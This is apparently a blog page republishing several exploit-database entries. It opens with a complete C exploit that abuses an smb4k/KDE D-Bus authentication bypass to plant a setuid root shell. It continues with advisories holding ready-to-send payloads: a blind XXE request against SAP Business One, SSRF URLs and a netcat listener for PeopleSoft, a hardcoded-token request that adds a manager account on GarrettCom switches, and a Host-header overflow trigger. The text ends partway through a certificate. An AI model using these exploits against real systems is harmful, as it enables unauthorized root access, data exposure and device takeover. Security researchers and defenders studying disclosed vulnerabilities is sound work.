Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170555

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//

#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main(int argc, char **argv)
{
	char me[1024] = {0};
	char *dbus[] = {
		"/usr/bin/dbus-send",
		"--system",
		"--print-reply",
		"--dest=net.sourceforge.smb4k.mounthelper",
		"/",
		"org.kde.auth.performActions",
		"array:byte:"
// The variant map, containing evil mh_command key-pair
"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",

// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};

	char *boomsh = "/tmp/xmount.cifs";
	char *const sh[] = {me, "shell", NULL};
	char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
	struct stat st;
	int fd = -1;

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
		die("[-] readlink");

	if (geteuid() == 0) {
		setuid(0);
		setgid(0);
		if (argc == 2) {
			execve(*bash, bash, NULL);
			die("[-] execve of bash");
		}
		chown(me, 0, 0);
		chmod(me, 04755);
		exit(0);
	}

	printf("[*] Creating shellscript ...\n");
	unlink(boomsh);
	if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
		die("[-] open");
	write(fd, "#!/bin/sh\n", 10);
	write(fd, me, strlen(me));
	write(fd, "\n", 1);
	close(fd);

	printf("[*] Triggering call...\n");

	if (fork() == 0) {
		execve(*dbus, dbus, NULL);
		exit(1);
	}
	wait(NULL);
	sleep(5);
	printf("[*] Trying to find rootshell...\n");

	memset(&st, 0, sizeof(st));
	stat(me, &st);
	if ((st.st_mode & 04000) != 04000)
		die("[-] Failed to chmod ourselfs.\n");

	execve(me, sh, NULL);
	return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175

CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method
reads an Int "index" then passes that to builtin_function

  mov     ebx, edi <-- controlled unsigned int
  mov     r14d, ebx
  lea     r15, __ZL9functions_0 ; functions
  mov     rax, [r15+r14*8]

if rax is non-null it's returned as an objective-c object pointer and the objective-c retain
selector is sent to it.

Serialized poc in attached file with an index of 12345678.

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42052.zip
            
Exploit Title: Blind XXE (XML External Entity)in SAP
Date of Disclosure: 17/05/2017
Author: Ravindra Singh Rathore
Vendor Homepage: https://www.sap.com/products/business-one.html
Product - SAP Business One Android Application
Version - 1.2.3
Security Note: 2378065
CVE - CVE-2016-6256
CVSS - 6.5 

XXE - An XML External Entity(XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

SAP Business One Android Application is vulnerable to XXE. A remote attacker could exploit this vulnerability to expose highly sensitive information from servers.


1) HTTP Request Response
**************************************************************************

POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3; JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3
Content-Length: 493

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "https://live.com" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>




HTTP/1.1 500 Internal Server Error
Date: Wed, 18 May 2016 07:01:33 GMT
Server: 
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml
Content-Length: 5566
Connection: close

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>Server Error</faultstring><detail><xci:reason xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">Connection timed out: connect</xci:reason><xci:tid xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">16051808473007955376AC106B972823</xci:tid><xci:exception xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect</xci:exception><xci:callStack xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:527)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeInner(IPOStepInstance.java:683)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeOuter(IPOStepInstance.java:518)
	at com.sap.b1i.xcellerator.Xcellerator.trigger(Xcellerator.java:1422)
	at com.sap.b1i.xcellerator.SingleAdapterPool.trigger(SingleAdapterPool.java:462)
	at com.sap.b1i.xcellerator.ActiveListenerInteractor.trigger2(ActiveListenerInteractor.java:191)
	at com.sap.b1i.xcl_wsar.WSARListener.executeWSAx(WSARListener.java:219)
	at com.sap.b1i.xcl_wsar.WSARListener.handleWS(WSARListener.java:156)
	at com.sap.b1i.xcl_http.HTTPListener._doXxx(HTTPListener.java:1504)
	at com.sap.b1i.xcl_http.HTTPListener._doPost(HTTPListener.java:1405)
	at com.sap.b1i.xcl_http.HTTPListener.service(HTTPListener.java:805)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:563)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:861)
	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:606)
	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
	at java.lang.Thread.run(Thread.java:812)
Caused by: com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:295)
	at com.sap.b1i.xcellerator.IPOStepInstance.handleIO(IPOStepInstance.java:1391)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeTransaction(IPOStepInstance.java:1050)
	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:425)
	... 24 more
Caused by: com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:272)
	at com.sap.b1i.utilities.SAXDoc2Pass.process(SAXDoc2Pass.java:121)
	at com.sap.b1i.utilities.SAXDocSplitter.process(SAXDocSplitter.java:14)
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:255)
	... 27 more
Caused by: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:584)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:745)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:357)
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:264)
	... 30 more
Caused by: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:427)
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:215)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:562)
	... 33 more
</xci:callStack><xci:retryLater xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">false</xci:retryLater></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>


**************************************************************************


2) HTTP Request Response
**************************************************************************
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=3974AE7255D6C15EB0546A903DF474AC; JSESSIONID=3974AE7255D6C15EB0546A903DF474AC
Content-Length: 498

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>












HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:19:44 GMT
Server: 
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml;charset=UTF-8
Connection: close
Content-Length: 9689

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
<GetRecentActivityResponse xmlns="http://tempuri.org/">
        <GetRecentActivityResult>[{"Number":"2352","Remarks":"Sales discounts","StartDateTime":"2016-06-01 06:40","Activity":"C","EndDateTime":"2016-06-01 06:55","Organizer":"Tom Mobile","CnctPerson":"Daniel Brown","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""},{"Number":"2390","Remarks":"Sales planning","StartDateTime":"2016-06-17 06:40","Activity":"M","EndDateTime":"2016-06-17 06:55","Organizer":"Tom Mobile","CnctPerson":"Bob McKensly","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""}]</GetRecentActivityResult>
      </GetRecentActivityResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>



**************************************************************************

Solution:
SAP has released patch on 13/12/2016
 

## Credits
 * Ravindra Singh Rathore 
 * https://in.linkedin.com/in/ravindra-singh-rathore-8aa89236
 * https://twitter.com/ravindra_hacks
            
Application: Oracle PeopleSoft
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
PeopleSoft HCM 9.2
Vendor URL: http://oracle.com
Bugs: SSRF
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Roman Shalymov (ERPScan)

Description

1. ADVISORY INFORMATION

Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
Advisory ID: [ERPSCAN-17-022]
Risk: high
CVE: CVE-2017-3546
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Date published: 18.04.2017
Vendors contacted: Oracle


2. VULNERABILITY INFORMATION

Class: SSRF
Impact: cross-site port attack, service enumeration
Remotely Exploitable: yes
Locally Exploitable: yes

CVSS Information

CVSS Base Score v3:    8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

An attacker can force a vulnerable server to trigger malicious
requests to third-party servers or to internal resources. This
vulnerability can then be leveraged to launch specific attacks such as
a cross-site port attack, service enumeration, and various other
attacks.

4. VULNERABLE PACKAGES

ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, implement Oracle CPU April 2017

6. AUTHOR

Roman Shalymov

7. TECHNICAL DESCRIPTION

PoC

Run netcat

1. nc -l -p # on some host

In browser open the following links

http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT

http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"


Read response in netcat

GET /?param=var HTTP/1.1

User-Agent: Java1.7.0_95

Host: SOMEHOST:OPEN_PORT

Accept: text/html, image/gif, image/jpeg, /; q=.2

Connection: Keep-Alive


8. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

9. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
            
Introduction
------------

Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT
(Magnum) series network switches. These were discovered during a black box 
assessment and therefore the vulnerability list should not be considered 
exhaustive; observations suggest that it is likely that further vulnerabilities 
exist. It is strongly recommended that GarrettCom undertake a full whitebox
security assessment of these switches.

The version under test was indicated as: 4.6.0.  Belden Garrettcom released
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf

GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token
----------------------------------------------------------------------------

Severity: **High**

The string "GoodKey" can be used in place of a session token for the web
interface, allowing a complete bypass to all web interface authentication.
The following request/response demonstrates adding a user ‘gibson’ with the
password ‘god’ on any GarrettCom 6K or 10K switch.

    GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey
HTTP/1.1
    Host: 192.168.0.2
    Connection: close
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: */*
    Referer: https://192.168.0.2/gc/flash.php
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8


    HTTP/1.0 200 OK
    Server: GoAhead-Webs
    Content-Type: text/html

    <?xml version='1.0' encoding='UTF-8'?><data val="users"><changed
val="yes" />
    <helpfile val="user_accounts.html" />
    <user uid="operator" access="Operator" />
    <user uid="manager" access="Manager" />
    <user uid="gibson" access="Manager" />
    </data>

GarrettCom-02 - Secrets Accessible to All Users
-----------------------------------------------

Severity: **High**

Unprivileged but authenticated users ("operator" level access) can view the
plaintext passwords of all users configured on the system, allowing them to
escalate privileges to "manager" level.  While the default "show config"
masks the passwords, executing "show config saved" includes the plaintext
passwords. The value of the "secrets" setting does not affect this.

    6K>show config group=user saved
    ...
    #User Management#
    user
    add user=gibson level=2 pass=god
    Exit
    ...

GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server
----------------------------------------------------------

Severity: **High**

When rendering the /gc/flash.php page, the server performs URI encoding of
the Host header into a fixed-length buffer on the stack.  This decoding appears
unbounded and can lead to memory corruption, possibly including remote code
execution.  Sending garbage data appears to hang the webserver thread after
responding to the present request.  Requests with Host headers longer than
220 characters trigger the observed behavior.

    GET /gc/flash.php HTTP/1.1
    Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8

GarrettCom-04 - SSL Keys Shared Across Devices
----------------------------------------------

Severity: **Moderate**

The SSL certificate on all devices running firmware version 4.6.0 is the
same.  This issue was previously reported and an advisory released by
ICS-CERT.  While GarrettCom reported the issue was fixed in 4.5.6, the web
server certificate remains static in 4.6.0:

    openssl s_client -connect 192.168.0.5:443 -showcerts
    CONNECTED(00000003)
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify error:num=18:self signed certificate
    verify return:1
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify return:1
    ---
    Certificate chain
    0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    -----BEGIN CERTIFICATE-----
    MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
    HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
